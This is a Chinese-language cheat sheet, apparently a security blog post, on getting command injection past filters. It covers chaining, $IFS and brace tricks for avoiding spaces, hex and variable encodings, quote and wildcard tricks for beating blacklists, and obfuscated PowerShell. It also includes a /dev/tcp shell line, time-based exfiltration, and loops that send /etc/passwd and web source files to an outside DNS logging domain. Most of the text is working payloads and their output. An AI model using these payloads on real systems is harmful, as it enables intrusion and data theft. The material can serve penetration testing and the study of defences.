命令注入繞過技巧總結

  • 2020 年 3 月 28 日
  • 筆記

命令注入是一個安全漏洞,它使攻擊者可以在易受攻擊的應用程式中執行任意命令。

基本命令

root@micr067:~# cat /etc/passwd  root:x:0:0:root:/root:/bin/bash  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  bin:x:2:2:bin:/bin:/usr/sbin/nologin  sys:x:3:3:sys:/dev:/usr/sbin/nologin  

鏈接命令

demo; ls  cat demo.txt && ls  cat demo.txt | ls  cat demo || ls    # 當前面的命令執行失敗後面的命令才會執行  

在命令內

cat demo.txt `cat /etc/passwd`  cat demo.txt $(cat /etc/passwd)  

過濾器繞過

無空格繞過

僅適用於Linux。

root@micr067:/tmp# cat</etc/passwd  root:x:0:0:root:/root:/bin/bash    root@micr067:/tmp# {cat,/etc/passwd}  root:x:0:0:root:/root:/bin/bash  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin    root@micr067:/tmp# cat$IFS/etc/passwd  root:x:0:0:root:/root:/bin/bash  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin    root@micr067:/tmp# echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd  RCE  root:x:0:0:root:/root:/bin/bash  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin    root@micr067:/tmp# X=$'unamex20-a'&&$X  Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux    root@micr067:~# sh</dev/tcp/127.0.0.1/443  

不帶空格,$或{}的命令執行-Linux(僅限Bash)

root@micr067:~# IFS=,;`cat<<<uname,-a`  Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux  

僅適用於Windows。

ping%CommonProgramFiles:~10,-18%IP  ping%PROGRAMFILES:~10,-5%IP  

通過十六進位編碼繞過字元過濾

linux

echo -e "x2fx65x74x63x2fx70x61x73x73x77x64"    cat `echo -e "x2fx65x74x63x2fx70x61x73x73x77x64"`  

xxd -r -p <<< 2f6574632f706173737764    cat `xxd -r -p <<< 2f6574632f706173737764`  

xxd -r -ps <(echo 2f6574632f706173737764)    cat `xxd -r -ps <(echo 2f6574632f706173737764)`  

繞過字元過濾器

不帶反斜杠和斜杠的命令執行-Linux bash

echo ${HOME:0:1}  /    cat ${HOME:0:1}etc${HOME:0:1}passwd  root:x:0:0:root:/root:/bin/bash    echo . | tr '!-0' '"-1'  /    tr '!-0' '"-1' <<< .  /    cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd  root:x:0:0:root:/root:/bin/bash  

繞過列入黑名單的單詞

單引號繞過

w'h'o'am'i  

雙引號繞過

w"h"o"am"i  

用反斜杠和斜杠繞過

whoami  /bin/////sh  

使用 $@ 繞過

who$@ami  

可變擴展繞過

/???/c?t /???/p?ss??    test=/ehhh/hmtc/pahhh/hmsswd  cat ${test//hhh/hm/}  cat ${test//hh??hm/}  

用通配符繞過

powershell C:**2n??e*d.*? # notepad  @^p^o^w^e^r^shell c:**32c*?c.e?e # calc  

 

win7:

@^p^o^w^e^r^shell c:**32c*?c.e?e

 

win10:

@^p^o^w^e^r^shell C:W*?w?S*?32?a?c.e?e    @^p^o^w^e^r^shell C:W*?S*?2?a?c.e?e  

基於時間的數據滲透

提取數據:按字元分配char
根據是否執行sleep 5來判斷該用戶名是否存在。

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi    time if [ $(whoami|cut -c 1) == r ]; then sleep 5; fi  


基於DNS的數據滲透

dnsbin

項目地址:https://github.com/ettic-team/dnsbin

DNSBin用於測試通過DNS進行的數據滲透,並在環境存在重大限制時幫助測試RCE或XXE等漏洞。

先將項目拷貝到本地 git clone https://github.com/ettic-team/dnsbin

1、首先創建兩條A記錄,然後創建兩條NS記錄,其值分別設置為兩條A記錄的域名。 

2、將dnsbinweb目錄拷貝到公網伺服器上,然後安裝nodejs環境。 安裝nodejs:

wget https://nodejs.org/dist/v10.15.0/node-v10.15.0-linux-x64.tar.xz  

第二步:解壓

tar -xf node-v10.15.0-linux-x64.tar.xz  

第三步:設置全局變數

1、打開文件    vim /etc/profile    2、最後一行放入    PATH=$PATH:/opt/node-v10.15.0/bin  

第四步:刷新配置文件
source /etc/profile
最後測試

3、然後使用npm安裝forever
npm install -g forever

4、開啟web服務 測試:

for i in $(ls /root) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done  

1、先訪問我們搭建的服務http://www.payload.ltd,會自動生成一個子域名。    2. 然後我們嘗試執行一個簡單的 'ls'    for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done  

然後,返回到我們的頁面,可以看到已經接收並列出了我們root目錄的內容。  嘗試 將 /etc/passwd 中的內容逐行列出來:

for i in $(cat /etc/passwd) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done  

 逐行讀取源程式碼:

for i in $(ls /var/www/html) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done    for i in $(cat /var/www/html/webacoo.php) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done  

用於檢查基於DNS的數據滲透的在線工具:

http://pingb.in/914ac82106dcb554ad385266b15b

參考鏈接:
https://www.cnblogs.com/chenhaoyu/p/10237505.html
https://www.jianshu.com/p/7dffeb87bba9
https://www.cnblogs.com/sevck/p/6072721.html